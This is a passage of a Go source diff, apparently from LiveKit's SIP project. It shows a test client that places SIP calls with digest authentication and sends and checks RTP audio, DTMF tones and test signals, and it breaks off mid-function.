cli.sipServer.ServeTCP(l) - - return cli, nil -} - -type Client struct { - id string - conf ClientConfig - log *slog.Logger - ack chan struct{} - audioCodec msdk.AudioCodec - audioType byte - mediaConn *rtpconn.Conn - mux *rtp.Mux - media *rtp.SeqWriter - mediaAudio *rtp.Stream - mediaDTMF *rtp.Stream - audioOut *mixer.Mixer - sipUA *sipgo.UserAgent - sipClient *sipgo.Client - sipServer *sipgo.Server - sipLis net.Listener - inviteReq *sip.Request - inviteResp *sip.Response - recordHandler atomic.Pointer[rtp.HandlerCloser] - lastCSeq atomic.Uint32 - closed core.Fuse -} - -func (c *Client) LocalIP() string { - return c.conf.IP.String() -} - -func (c *Client) RemoteHeaders() []sip.Header { - if c.inviteResp == nil { - return nil - } - return c.inviteResp.Headers() -} - -func (c *Client) Close() { - c.closed.Once(func() { - if c.mediaConn != nil { - c.mediaConn.Close() - } - if c.inviteResp != nil { - c.sendBye() - c.inviteReq = nil - c.inviteResp = nil - } - if c.sipClient != nil { - c.sipClient.Close() - } - if c.sipServer != nil { - c.sipServer.Close() - } - if c.sipLis != nil { - c.sipLis.Close() - } - }) -} - -func (c *Client) setupRTPReceiver() { - var lastTs atomic.Uint32 - - c.mux = rtp.NewMux(rtp.HandlerFunc(func(hdr *rtp.Header, payload []byte) error { - lastTs.Store(hdr.Timestamp) - - h := c.recordHandler.Load() - if h != nil { - return (*h).HandleRTP(hdr, payload) - } - return nil - })) - c.mux.Register(101, rtp.HandlerFunc(func(hdr *rtp.Header, payload []byte) error { - ts := lastTs.Load() - var diff int64 - if ts > 0 { - diff = int64(hdr.Timestamp) - int64(ts) - } - - if diff > int64(c.audioCodec.Info().RTPClockRate) || diff < -int64(c.audioCodec.Info().RTPClockRate) { - c.log.Info("reveived out of sync DTMF message", "dtmfTs", hdr.Timestamp, "lastTs", ts) - return nil - } - - if c.conf.OnDTMF == nil { - return nil - } - if ev, ok := dtmf.DecodeRTP(hdr, payload); ok { - c.conf.OnDTMF(ev) - } - return nil - })) - - c.mediaConn.OnRTP(c.mux) -} - -func (c *Client) Record(w io.WriteCloser) { - ws := webmm.NewPCM16Writer(w, c.audioCodec.Info().SampleRate, 1, rtp.DefFrameDur) - h := rtp.DecodePCM(ws, c.audioCodec, c.audioType) - c.recordHandler.Store(&h) -} - -func (c *Client) Dial(ip string, host string, number string, headers map[string]string) error { - c.log.Debug("dialing SIP server", "ip", ip, "host", host, "number", number) - offer, err := c.createOffer() - if err != nil { - return err - } - - var ( - authHeaderVal = "" - req *sip.Request - resp *sip.Response - callID string - ) - - for { - req, resp, err = c.attemptInvite(ip, host, number, offer, authHeaderVal, headers, callID) - if err != nil { - return err - } - - if callID == "" { - if callIDHeader := req.CallID(); callIDHeader != nil { - callID = callIDHeader.Value() - } - } - - if resp.StatusCode == 407 { - c.log.Debug("auth requested") - if c.conf.AuthUser == "" || c.conf.AuthPass == "" { - return fmt.Errorf("server responded with 407, but no username or password was provided") - } - - headerVal := resp.GetHeader("Proxy-Authenticate") - challenge, err := digest.ParseChallenge(headerVal.Value()) - if err != nil { - return err - } - - toHeader := resp.To() - if toHeader == nil { - return errors.New("no To header on Request") - } - - cred, _ := digest.Digest(challenge, digest.Options{ - Method: req.Method.String(), - URI: toHeader.Address.String(), - Username: c.conf.AuthUser, - Password: c.conf.AuthPass, - }) - - authHeaderVal = cred.String() - // Compute digest and try again - continue - } else if resp.StatusCode != 200 { - return fmt.Errorf("unexpected status from INVITE response %d", resp.StatusCode) - } - - break - } - - if contactHeader := resp.Contact(); contactHeader != nil { - req.Recipient = contactHeader.Address - if req.Recipient.Port == 0 { - req.Recipient.Port = 5060 - } - } - - for _, hdr := range resp.GetHeaders("Record-Route") { - req.PrependHeader(&sip.RouteHeader{Address: hdr.(*sip.RecordRouteHeader).Address}) - } - - c.mediaConn.EnableTimeout(true) - if err = c.sipClient.WriteRequest(sip.NewAckRequest(req, resp, nil)); err != nil { - return err - } - ip, port, err := parseSDPAnswer(resp.Body()) - if err != nil { - return err - } - dstAddr, err := net.ResolveUDPAddr("udp4", fmt.Sprintf("%s:%d", ip, port)) - if err != nil { - return err - } - c.inviteReq = req - c.inviteResp = resp - - if h := req.CSeq(); h != nil { - c.lastCSeq.Store(h.SeqNo) - } - - c.mediaConn.SetDestAddr(dstAddr) - c.log.Debug("client connected", "media-dst", dstAddr) - return nil -} - -func (c *Client) attemptInvite(ip, host, number string, offer []byte, authHeader string, headers map[string]string, callID string) (*sip.Request, *sip.Response, error) { - uri := sip.Uri{User: number, Host: host} - uri.UriParams.Add("transport", "tcp") - req := sip.NewRequest(sip.INVITE, uri) - - // reuse CallID if not empty - if callID != "" { - req.AppendHeader(sip.NewHeader("Call-ID", callID)) - } - - req.SetDestination(ip) - req.SetBody(offer) - req.AppendHeader(sip.NewHeader("Content-Type", "application/sdp")) - req.AppendHeader(sip.NewHeader("Contact", fmt.Sprintf("", c.conf.IP, c.conf.Port))) - req.AppendHeader(sip.NewHeader("Allow", "INVITE, ACK, CANCEL, BYE, NOTIFY, REFER, MESSAGE, OPTIONS, INFO, SUBSCRIBE")) - if c.id != "" { - req.AppendHeader(sip.NewHeader("X-Lk-Test-Id", c.id)) - } - - if authHeader != "" { - req.AppendHeader(sip.NewHeader("Proxy-Authorization", authHeader)) - } - for k, v := range headers { - req.AppendHeader(sip.NewHeader(k, v)) - } - - tx, err := c.sipClient.TransactionRequest(req) - if err != nil { - panic(err) - } - defer tx.Terminate() - - resp, err := getResponse(tx) - - return req, resp, err -} - -func (c *Client) sendBye() { - c.log.Debug("sending bye") - req := sip.NewByeRequest(c.inviteReq, c.inviteResp, nil) - req.AppendHeader(sip.NewHeader("User-Agent", "LiveKit")) - - cseq := c.lastCSeq.Add(1) - cseqH := req.CSeq() - cseqH.SeqNo = cseq - - tx, err := c.sipClient.TransactionRequest(req) - if err != nil { - return - } - defer tx.Terminate() - select { - case <-c.ack: - case <-tx.Done(): - case r := <-tx.Responses(): - if r.StatusCode == 200 { - _ = c.sipClient.WriteRequest(sip.NewAckRequest(req, r, nil)) - } - } -} - -func (c *Client) SendDTMF(digits string) error { - c.log.Debug("sending dtmf", "str", digits) - w := c.audioOut.NewInput() - defer w.Close() - return dtmf.Write(context.Background(), w, c.mediaDTMF, c.mediaAudio.GetCurrentTimestamp(), digits) -} - -func (c *Client) SendNotify(eventReq *sip.Request, notifyStatus string) error { - var recipient sip.Uri - - if contact := eventReq.Contact(); contact != nil { - recipient = contact.Address - } else if from := eventReq.From(); from != nil { - recipient = from.Address - } else { - return errors.New("missing destination address") - } - - req := sip.NewRequest(sip.NOTIFY, recipient) - - req.SipVersion = eventReq.SipVersion - sip.CopyHeaders("Via", eventReq, req) - - if len(eventReq.GetHeaders("Route")) > 0 { - sip.CopyHeaders("Route", eventReq, req) - } else { - hdrs := c.inviteResp.GetHeaders("Record-Route") - for i := len(hdrs) - 1; i >= 0; i-- { - rrh, ok := hdrs[i].(*sip.RecordRouteHeader) - if !ok { - continue - } - - h := rrh.Clone() - req.AppendHeader(h) - } - } - - maxForwardsHeader := sip.MaxForwardsHeader(70) - req.AppendHeader(&maxForwardsHeader) - - if to := eventReq.To(); to != nil { - req.AppendHeader((*sip.FromHeader)(to)) - } else { - return errors.New("missing To header in REFER request") - } - - if from := eventReq.From(); from != nil { - req.AppendHeader((*sip.ToHeader)(from)) - } else { - return errors.New("missing From header in REFER request") - } - - if callId := eventReq.CallID(); callId != nil { - req.AppendHeader(callId) - } - - ct := sip.ContentTypeHeader("message/sipfrag") - req.AppendHeader(&ct) - - cseq := c.lastCSeq.Add(1) - cseqH := &sip.CSeqHeader{ - SeqNo: cseq, - MethodName: sip.NOTIFY, - } - req.AppendHeader(cseqH) - - req.SetTransport(eventReq.Transport()) - req.SetSource(eventReq.Destination()) - req.SetDestination(eventReq.Source()) - - if eventCSeq := eventReq.CSeq(); eventCSeq != nil { - req.AppendHeader(sip.NewHeader("Event", fmt.Sprintf("refer;id=%d", eventCSeq.SeqNo))) - } else { - return errors.New("missing CSeq header in REFER request") - } - - req.SetBody([]byte(notifyStatus)) - - tx, err := c.sipClient.TransactionRequest(req) - if err != nil { - return err - } - defer tx.Terminate() - - resp, err := getResponse(tx) - if err != nil { - return err - } - - if resp.StatusCode != sip.StatusOK { - return fmt.Errorf("NOTIFY failed with status %d", resp.StatusCode) - } - - return nil -} - -func (c *Client) createOffer() ([]byte, error) { - sessionId := rand.Uint64() - - offer := sdp.SessionDescription{ - Version: 0, - Origin: sdp.Origin{ - Username: "-", - SessionID: sessionId, - SessionVersion: sessionId, - NetworkType: "IN", - AddressType: "IP4", - UnicastAddress: c.conf.IP.String(), - }, - SessionName: "LiveKit", - ConnectionInformation: &sdp.ConnectionInformation{ - NetworkType: "IN", - AddressType: "IP4", - Address: &sdp.Address{Address: c.conf.IP.String()}, - }, - TimeDescriptions: []sdp.TimeDescription{ - { - Timing: sdp.Timing{ - StartTime: 0, - StopTime: 0, - }, - }, - }, - MediaDescriptions: []*sdp.MediaDescription{ - { - MediaName: sdp.MediaName{ - Media: "audio", - Port: sdp.RangedPort{Value: c.mediaConn.LocalAddr().Port}, - Protos: []string{"RTP", "AVP"}, - Formats: []string{strconv.Itoa(int(c.audioType)) + " 101"}, - }, - Attributes: []sdp.Attribute{ - {Key: "rtpmap", Value: fmt.Sprintf("%d %s", c.audioType, c.audioCodec.Info().SDPName)}, - {Key: "rtpmap", Value: "101 " + dtmf.SDPNameAndRate}, - }, - }, - }, - } - - return offer.Marshal() -} - -// SendAudio sends PCM audio from a webm file -func (c *Client) SendAudio(path string) error { - f, err := os.Open(path) - if err != nil { - panic(err) - } - defer f.Close() - - var ret struct { - Header webm.EBMLHeader `ebml:"EBML"` - Segment webm.Segment `ebml:"Segment"` - } - if err := ebml.Unmarshal(f, &ret); err != nil { - return err - } - - var audioFrames []msdk.PCM16Sample - for _, cluster := range ret.Segment.Cluster { - for _, block := range cluster.SimpleBlock { - for _, frame := range block.Data { - data := make(msdk.PCM16Sample, len(frame)/2) - for i := 0; i < len(frame); i += 2 { - data[i/2] = int16(binary.LittleEndian.Uint16(frame[i:])) - } - audioFrames = append(audioFrames, data) - } - } - } - - i := 0 - w := c.audioOut.NewInput() - defer w.Close() - - for range time.NewTicker(rtp.DefFrameDur).C { - if i >= len(audioFrames) { - break - } - if err = w.WriteSample(audioFrames[i]); err != nil { - return err - } - i++ - } - return nil -} - -func (c *Client) SendSilence(ctx context.Context) error { - const framesPerSec = int(time.Second / rtp.DefFrameDur) - buf := make(msdk.PCM16Sample, c.audioCodec.Info().SampleRate/framesPerSec) - wr := c.audioOut.NewInput() - defer wr.Close() - - ticker := time.NewTicker(rtp.DefFrameDur) - defer ticker.Stop() - for { - select { - case <-ctx.Done(): - return nil - case <-ticker.C: - } - if err := wr.WriteSample(buf); err != nil { - return err - } - } -} - -const ( - signalAmp = math.MaxInt16 / 4 - signalAmpMin = signalAmp - signalAmp/4 // TODO: why it's so low? - signalAmpMax = signalAmp + signalAmp/10 -) - -// SendSignal generate an audio signal with a given value. It repeats the signal n times, each frame containing one signal. -// If n <= 0, it will send the signal until the context is cancelled. -func (c *Client) SendSignal(ctx context.Context, n int, val int) error { - const framesPerSec = int(time.Second / rtp.DefFrameDur) - signal := make(msdk.PCM16Sample, c.audioCodec.Info().SampleRate/framesPerSec) - audiotest.GenSignal(signal, []audiotest.Wave{{Ind: val, Amp: signalAmp}}) - wr := c.audioOut.NewInput() - defer wr.Close() - - c.log.Info("sending signal", "len", len(signal), "n", n, "sig", val) - - ticker := time.NewTicker(rtp.DefFrameDur) - defer ticker.Stop() - for i := 0; n <= 0 || i < n; i++ { - select { - case <-ctx.Done(): - if n <= 0 { - c.log.Debug("stopping signal", "n", i, "sig", val) - return nil - } - return ctx.Err() - case <-ticker.C: - } - - if err := wr.WriteSample(signal); err != nil { - return err - } - } - return nil -} - -// WaitSignals waits for an audio frame to contain all signals. -func (c *Client) WaitSignals(ctx context.Context, vals []int, w io.WriteCloser) error { - sampleRate := c.audioCodec.Info().SampleRate - var ws msdk.PCM16Writer - if w != nil { - ws = webmm.NewPCM16Writer(w, sampleRate, 1, rtp.DefFrameDur) - defer ws.Close() - } - const framesPerSec = int(time.Second / rtp.DefFrameDur) - decoded := make(msdk.PCM16Sample, sampleRate/framesPerSec) - dec := rtp.DecodePCM(msdk.NewPCM16BufferWriter(&decoded, sampleRate), c.audioCodec, c.audioType) - lastLog := time.Now() - - pkts := make(chan *rtp.Packet, 1) - done := make(chan struct{}) - - h := rtp.NewNopCloser(rtp.HandlerFunc(func(hdr *rtp.Header, payload []byte) error { - // Make sure er do not send on a closed channel - select { - case <-done: - return ctx.Err() - default: - } - - select { - case <-ctx.Done(): - close(pkts) - close(done) - return ctx.Err() - case pkts <- &rtp.Packet{Header: *hdr, Payload: slices.Clone(payload)}: - } - - return nil - })) - c.recordHandler.Store(&h) - - for { - var p *rtp.Packet - select { - case <-ctx.Done(): - return ctx.Err() - case p = <-pkts: - } - - if p.PayloadType != c.audioType { - c.log.Debug("skipping payload", "type", p.PayloadType) - continue - } - decoded = decoded[:0] - if err := dec.HandleRTP(&p.Header, p.Payload); err != nil { - return err - } - if ws != nil { - if err := ws.WriteSample(decoded); err != nil { - return err - } - } - if !slices.ContainsFunc(decoded, func(v int16) bool { return v != 0 }) { - continue // Ignore silence. - } - out := audiotest.FindSignal(decoded) - if len(out) >= len(vals) { - // Only consider first N strongest signals. - out = out[:len(vals)] - // Sort them again by index, so it's easier to compare. - slices.SortFunc(out, func(a, b audiotest.Wave) int { - return a.Ind - b.Ind - }) - ok := true - for i := range vals { - // All signals must match the frequency and have around the same amplitude. - if out[i].Ind != vals[i] || out[i].Amp < signalAmpMin || out[i].Amp > signalAmpMax { - ok = false - break - } - } - if ok { - c.log.Debug("signal found", "sig", vals) - return nil - } - } - // Remove most other components from the logs. - if len(out) > len(vals)*2 { - out = out[:len(vals)*2] - } - if time.Since(lastLog) > time.Second { - lastLog = time.Now() - c.log.Debug("skipping signal", "len", len(decoded), "signals", out) - } - } - - return nil -} - -func getResponse(tx sip.ClientTransaction) (*sip.Response, error) { - cnt := 0 - for { - select { - case <-tx.Done(): - return nil, fmt.Errorf("transaction failed to complete (%d intermediate responses)", cnt) - case res := <-tx.Responses(): - switch res.StatusCode { - default: - return res, nil - case 100, 180, 183: - // continue - cnt++ - } - } - } -} - -func parseSDPAnswer(in []byte) (string, int, error) { - offer := sdp.SessionDescription{} - if err := offer.Unmarshal(in); err != nil { - return "", 0, err - } - - return offer.ConnectionInformation.Address.Address, offer.MediaDescriptions[0].MediaName.Port.Value, nil -} +// Copyright 2023 LiveKit, Inc. +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + +package siptest + +import ( + "context" + "encoding/binary" + "errors" + "fmt" + "io" + "log/slog" + "math" + "math/rand" + "net" + "net/netip" + "os" + "slices" + "strconv" + "sync/atomic" + "time" + + "github.com/at-wat/ebml-go" + "github.com/at-wat/ebml-go/webm" + "github.com/frostbyte73/core" + "github.com/icholy/digest" + "github.com/pion/sdp/v3" + + msdk "github.com/livekit/media-sdk" + "github.com/livekit/media-sdk/dtmf" + "github.com/livekit/media-sdk/g711" + "github.com/livekit/media-sdk/rtp" + lksdp "github.com/livekit/media-sdk/sdp" + webmm "github.com/livekit/media-sdk/webm" + "github.com/livekit/sipgo" + "github.com/livekit/sipgo/sip" + + "github.com/livekit/media-sdk/mixer" + "github.com/livekit/sip/pkg/audiotest" + "github.com/livekit/sip/pkg/config" + "github.com/livekit/sip/pkg/media/rtpconn" +) + +type ClientConfig struct { + IP netip.Addr + Port uint16 + Number string + AuthUser string + AuthPass string + Log *slog.Logger + OnBye func() + OnMediaTimeout func() + OnDTMF func(ev dtmf.Event) + OnRefer func(req *sip.Request) + Codec string +} + +func NewClient(id string, conf ClientConfig) (*Client, error) { + var err error + + if conf.Log == nil { + conf.Log = slog.Default() + } + if conf.OnMediaTimeout == nil { + conf.OnMediaTimeout = func() { + panic("media-timeout") + } + } + if id != "" { + conf.Log = conf.Log.With("id", id) + } + if !conf.IP.IsValid() { + localIP, err := config.GetLocalIP() + if err != nil { + return nil, err + } + conf.IP = localIP + conf.Log.Debug("setting local address", "ip", localIP) + } + if conf.Number == "" { + conf.Number = "1000" + } + if conf.Codec == "" { + conf.Codec = g711.ULawSDPNameAndRate + } + codec := lksdp.CodecByName(conf.Codec).(msdk.AudioCodec) + cli := &Client{ + id: id, + conf: conf, + ack: make(chan struct{}, 1), + log: conf.Log, + audioCodec: codec, + audioType: codec.Info().RTPDefType, + } + if !codec.Info().RTPIsStatic { + cli.audioType = 102 + } + cli.mediaConn = rtpconn.NewConn(&rtpconn.ConnConfig{TimeoutCallback: conf.OnMediaTimeout}) + cli.mediaConn.EnableTimeout(false) // enabled later + cli.media = rtp.NewSeqWriter(cli.mediaConn) + cli.mediaAudio = cli.media.NewStream(cli.audioType, codec.Info().RTPClockRate) + cli.mediaDTMF = cli.media.NewStream(101, dtmf.SampleRate) + cli.audioOut, err = mixer.NewMixer(rtp.EncodePCM(cli.mediaAudio, cli.audioCodec), rtp.DefFrameDur, 1, mixer.WithOutputChannel()) + if err != nil { + cli.Close() + return nil, err + } + + cli.setupRTPReceiver() + + err = cli.mediaConn.ListenAndServe(0, 0, "0.0.0.0") + if err != nil { + cli.Close() + return nil, err + } + conf.Log.Info("media address", "addr", cli.mediaConn.LocalAddr()) + + ua, err := sipgo.NewUA( + sipgo.WithUserAgent(conf.Number), + sipgo.WithUserAgentLogger(cli.log), + ) + if err != nil { + cli.Close() + return nil, err + } + cli.sipUA = ua + + cli.sipClient, err = sipgo.NewClient(ua, sipgo.WithClientHostname(conf.IP.String())) + if err != nil { + cli.Close() + return nil, err + } + + cli.sipServer, err = sipgo.NewServer(ua) + if err != nil { + cli.Close() + return nil, err + } + + cli.sipServer.OnBye(func(log *slog.Logger, req *sip.Request, tx sip.ServerTransaction) { + _ = tx.Respond(sip.NewResponseFromRequest(req, 200, "OK", nil)) + tx.Terminate() + if conf.OnBye != nil { + conf.OnBye() + } + }) + cli.sipServer.OnAck(func(log *slog.Logger, req *sip.Request, tx sip.ServerTransaction) { + select { + case cli.ack <- struct{}{}: + default: + } + }) + cli.sipServer.OnRefer(func(log *slog.Logger, req *sip.Request, tx sip.ServerTransaction) { + if conf.OnRefer != nil { + conf.OnRefer(req) + } + + err = tx.Respond(sip.NewResponseFromRequest(req, 202, "Accepted", nil)) + tx.Terminate() + }) + l, err := net.ListenTCP("tcp4", &net.TCPAddr{Port: int(conf.Port)}) + if err != nil { + cli.Close() + return nil, err + } + // cli.conf.Port may be 0 if port was not specified, so we need to set it to the actual port. + cli.conf.Port = uint16(l.Addr().(*net.TCPAddr).Port) + cli.sipLis = l + + go cli.sipServer.ServeTCP(l) + + return cli, nil +} + +type Client struct { + id string + conf ClientConfig + log *slog.Logger + ack chan struct{} + audioCodec msdk.AudioCodec + audioType byte + mediaConn *rtpconn.Conn + mux *rtp.Mux + media *rtp.SeqWriter + mediaAudio *rtp.Stream + mediaDTMF *rtp.Stream + audioOut *mixer.Mixer + sipUA *sipgo.UserAgent + sipClient *sipgo.Client + sipServer *sipgo.Server + sipLis net.Listener + inviteReq *sip.Request + inviteResp *sip.Response + recordHandler atomic.Pointer[rtp.HandlerCloser] + lastCSeq atomic.Uint32 + closed core.Fuse +} + +func (c *Client) LocalIP() string { + return c.conf.IP.String() +} + +func (c *Client) RemoteHeaders() []sip.Header { + if c.inviteResp == nil { + return nil + } + return c.inviteResp.Headers() +} + +func (c *Client) Close() { + c.closed.Once(func() { + if c.mediaConn != nil { + c.mediaConn.Close() + } + if c.inviteResp != nil { + c.sendBye() + c.inviteReq = nil + c.inviteResp = nil + } + if c.sipClient != nil { + c.sipClient.Close() + } + if c.sipServer != nil { + c.sipServer.Close() + } + if c.sipLis != nil { + c.sipLis.Close() + } + }) +} + +func (c *Client) setupRTPReceiver() { + var lastTs atomic.Uint32 + + c.mux = rtp.NewMux(rtp.HandlerFunc(func(hdr *rtp.Header, payload []byte) error { + lastTs.Store(hdr.Timestamp) + + h := c.recordHandler.Load() + if h != nil { + return (*h).HandleRTP(hdr, payload) + } + return nil + })) + c.mux.Register(101, rtp.HandlerFunc(func(hdr *rtp.Header, payload []byte) error { + ts := lastTs.Load() + var diff int64 + if ts > 0 { + diff = int64(hdr.Timestamp) - int64(ts) + } + + if diff > int64(c.audioCodec.Info().RTPClockRate) || diff < -int64(c.audioCodec.Info().RTPClockRate) { + c.log.Info("reveived out of sync DTMF message", "dtmfTs", hdr.Timestamp, "lastTs", ts) + return nil + } + + if c.conf.OnDTMF == nil { + return nil + } + if ev, ok := dtmf.DecodeRTP(hdr, payload); ok { + c.conf.OnDTMF(ev) + } + return nil + })) + + c.mediaConn.OnRTP(c.mux) +} + +func (c *Client) Record(w io.WriteCloser) { + ws := webmm.NewPCM16Writer(w, c.audioCodec.Info().SampleRate, 1, rtp.DefFrameDur) + h := rtp.DecodePCM(ws, c.audioCodec, c.audioType) + c.recordHandler.Store(&h) +} + +func (c *Client) Dial(ip string, host string, number string, headers map[string]string) error { + c.log.Debug("dialing SIP server", "ip", ip, "host", host, "number", number) + offer, err := c.createOffer() + if err != nil { + return err + } + + var ( + authHeaderVal = "" + req *sip.Request + resp *sip.Response + callID string + ) + + for { + req, resp, err = c.attemptInvite(ip, host, number, offer, authHeaderVal, headers, callID) + if err != nil { + return err + } + + if callID == "" { + if callIDHeader := req.CallID(); callIDHeader != nil { + callID = callIDHeader.Value() + } + } + + if resp.StatusCode == 407 { + c.log.Debug("auth requested") + if c.conf.AuthUser == "" || c.conf.AuthPass == "" { + return fmt.Errorf("server responded with 407, but no username or password was provided") + } + + headerVal := resp.GetHeader("Proxy-Authenticate") + challenge, err := digest.ParseChallenge(headerVal.Value()) + if err != nil { + return err + } + + toHeader := resp.To() + if toHeader == nil { + return errors.New("no To header on Request") + } + + cred, _ := digest.Digest(challenge, digest.Options{ + Method: req.Method.String(), + URI: toHeader.Address.String(), + Username: c.conf.AuthUser, + Password: c.conf.AuthPass, + }) + + authHeaderVal = cred.String() + // Compute digest and try again + continue + } else if resp.StatusCode != 200 { + return fmt.Errorf("unexpected status from INVITE response %d", resp.StatusCode) + } + + break + } + + if contactHeader := resp.Contact(); contactHeader != nil { + req.Recipient = contactHeader.Address + if req.Recipient.Port == 0 { + req.Recipient.Port = 5060 + } + } + + for _, hdr := range resp.GetHeaders("Record-Route") { + req.PrependHeader(&sip.RouteHeader{Address: hdr.(*sip.RecordRouteHeader).Address}) + } + + c.mediaConn.EnableTimeout(true) + if err = c.sipClient.WriteRequest(sip.NewAckRequest(req, resp, nil)); err != nil { + return err + } + ip, port, err := parseSDPAnswer(resp.Body()) + if err != nil { + return err + } + dstAddr, err := net.ResolveUDPAddr("udp4", fmt.Sprintf("%s:%d", ip, port)) + if err != nil { + return err + } + c.inviteReq = req + c.inviteResp = resp + + if h := req.CSeq(); h != nil { + c.lastCSeq.Store(h.SeqNo) + } + + c.mediaConn.SetDestAddr(dstAddr) + c.log.Debug("client connected", "media-dst", dstAddr) + return nil +} + +func (c *Client) attemptInvite(ip, host, number string, offer []byte, authHeader string, headers map[string]string, callID string) (*sip.Request, *sip.Response, error) { + uri := sip.Uri{User: number, Host: host} + uri.UriParams.Add("transport", "tcp") + req := sip.NewRequest(sip.INVITE, uri) + + // reuse CallID if not empty + if callID != "" { + req.AppendHeader(sip.NewHeader("Call-ID", callID)) + } + + req.SetDestination(ip) + req.SetBody(offer) + req.AppendHeader(sip.NewHeader("Content-Type", "application/sdp")) + req.AppendHeader(sip.NewHeader("Contact", fmt.Sprintf("", c.conf.IP, c.conf.Port))) + req.AppendHeader(sip.NewHeader("Allow", "INVITE, ACK, CANCEL, BYE, NOTIFY, REFER, MESSAGE, OPTIONS, INFO, SUBSCRIBE")) + if c.id != "" { + req.AppendHeader(sip.NewHeader("X-Lk-Test-Id", c.id)) + } + + if authHeader != "" { + req.AppendHeader(sip.NewHeader("Proxy-Authorization", authHeader)) + } + for k, v := range headers { + req.AppendHeader(sip.NewHeader(k, v)) + } + + tx, err := c.sipClient.TransactionRequest(req) + if err != nil { + panic(err) + } + defer tx.Terminate() + + resp, err := getResponse(tx) + + return req, resp, err +} + +func (c *Client) sendBye() { + c.log.Debug("sending bye") + req := sip.NewByeRequest(c.inviteReq, c.inviteResp, nil) + req.AppendHeader(sip.NewHeader("User-Agent", "LiveKit")) + + cseq := c.lastCSeq.Add(1) + cseqH := req.CSeq() + cseqH.SeqNo = cseq + + tx, err := c.sipClient.TransactionRequest(req) + if err != nil { + return + } + defer tx.Terminate() + select { + case <-c.ack: + case <-tx.Done(): + case r := <-tx.Responses(): + if r.StatusCode == 200 { + _ = c.sipClient.WriteRequest(sip.NewAckRequest(req, r, nil)) + } + } +} + +func (c *Client) SendDTMF(digits string) error { + c.log.Debug("sending dtmf", "str", digits) + w := c.audioOut.NewInput() + defer w.Close() + return dtmf.Write(context.Background(), w, c.mediaDTMF, c.mediaAudio.GetCurrentTimestamp(), digits) +} + +func (c *Client) SendNotify(eventReq *sip.Request, notifyStatus string) error { + var recipient sip.Uri + + if contact := eventReq.Contact(); contact != nil { + recipient = contact.Address + } else if from := eventReq.From(); from != nil { + recipient = from.Address + } else { + return errors.New("missing destination address") + } + + req := sip.NewRequest(sip.NOTIFY, recipient) + + req.SipVersion = eventReq.SipVersion + sip.CopyHeaders("Via", eventReq, req) + + if len(eventReq.GetHeaders("Route")) > 0 { + sip.CopyHeaders("Route", eventReq, req) + } else { + hdrs := c.inviteResp.GetHeaders("Record-Route") + for i := len(hdrs) - 1; i >= 0; i-- { + rrh, ok := hdrs[i].(*sip.RecordRouteHeader) + if !ok { + continue + } + + h := rrh.Clone() + req.AppendHeader(h) + } + } + + maxForwardsHeader := sip.MaxForwardsHeader(70) + req.AppendHeader(&maxForwardsHeader) + + if to := eventReq.To(); to != nil { + req.AppendHeader((*sip.FromHeader)(to)) + } else { + return errors.New("missing To header in REFER request") + } + + if from := eventReq.From(); from != nil { + req.AppendHeader((*sip.ToHeader)(from)) + } else { + return errors.New("missing From header in REFER request") + } + + if callId := eventReq.CallID(); callId != nil { + req.AppendHeader(callId) + } + + ct := sip.ContentTypeHeader("message/sipfrag") + req.AppendHeader(&ct) + + cseq := c.lastCSeq.Add(1) + cseqH := &sip.CSeqHeader{ + SeqNo: cseq, + MethodName: sip.NOTIFY, + } + req.AppendHeader(cseqH) + + req.SetTransport(eventReq.Transport()) + req.SetSource(eventReq.Destination()) + req.SetDestination(eventReq.Source()) + + if eventCSeq := eventReq.CSeq(); eventCSeq != nil { + req.AppendHeader(sip.NewHeader("Event", fmt.Sprintf("refer;id=%d", eventCSeq.SeqNo))) + } else { + return errors.New("missing CSeq header in REFER request") + } + + req.SetBody([]byte(notifyStatus)) + + tx, err := c.sipClient.TransactionRequest(req) + if err != nil { + return err + } + defer tx.Terminate() + + resp, err := getResponse(tx) + if err != nil { + return err + } + + if resp.StatusCode != sip.StatusOK { + return fmt.Errorf("NOTIFY failed with status %d", resp.StatusCode) + } + + return nil +} + +func (c *Client) createOffer() ([]byte, error) { + sessionId := rand.Uint64() + + offer := sdp.SessionDescription{ + Version: 0, + Origin: sdp.Origin{ + Username: "-", + SessionID: sessionId, + SessionVersion: sessionId, + NetworkType: "IN", + AddressType: "IP4", + UnicastAddress: c.conf.IP.String(), + }, + SessionName: "LiveKit", + ConnectionInformation: &sdp.ConnectionInformation{ + NetworkType: "IN", + AddressType: "IP4", + Address: &sdp.Address{Address: c.conf.IP.String()}, + }, + TimeDescriptions: []sdp.TimeDescription{ + { + Timing: sdp.Timing{ + StartTime: 0, + StopTime: 0, + }, + }, + }, + MediaDescriptions: []*sdp.MediaDescription{ + { + MediaName: sdp.MediaName{ + Media: "audio", + Port: sdp.RangedPort{Value: c.mediaConn.LocalAddr().Port}, + Protos: []string{"RTP", "AVP"}, + Formats: []string{strconv.Itoa(int(c.audioType)) + " 101"}, + }, + Attributes: []sdp.Attribute{ + {Key: "rtpmap", Value: fmt.Sprintf("%d %s", c.audioType, c.audioCodec.Info().SDPName)}, + {Key: "rtpmap", Value: "101 " + dtmf.SDPNameAndRate}, + }, + }, + }, + } + + return offer.Marshal() +} + +// SendAudio sends PCM audio from a webm file +func (c *Client) SendAudio(path string) error { + f, err := os.Open(path) + if err != nil { + panic(err) + } + defer f.Close() + + var ret struct { + Header webm.EBMLHeader `ebml:"EBML"` + Segment webm.Segment `ebml:"Segment"` + } + if err := ebml.Unmarshal(f, &ret); err != nil { + return err + } + + var audioFrames []msdk.PCM16Sample + for _, cluster := range ret.Segment.Cluster { + for _, block := range cluster.SimpleBlock { + for _, frame := range block.Data { + data := make(msdk.PCM16Sample, len(frame)/2) + for i := 0; i < len(frame); i += 2 { + data[i/2] = int16(binary.LittleEndian.Uint16(frame[i:])) + } + audioFrames = append(audioFrames, data) + } + } + } + + i := 0 + w := c.audioOut.NewInput() + defer w.Close() + + for range time.NewTicker(rtp.DefFrameDur).C { + if i >= len(audioFrames) { + break + } + if err = w.WriteSample(audioFrames[i]); err != nil { + return err + } + i++ + } + return nil +} + +func (c *Client) SendSilence(ctx context.Context) error { + const framesPerSec = int(time.Second / rtp.DefFrameDur) + buf := make(msdk.PCM16Sample, c.audioCodec.Info().SampleRate/framesPerSec) + wr := c.audioOut.NewInput() + defer 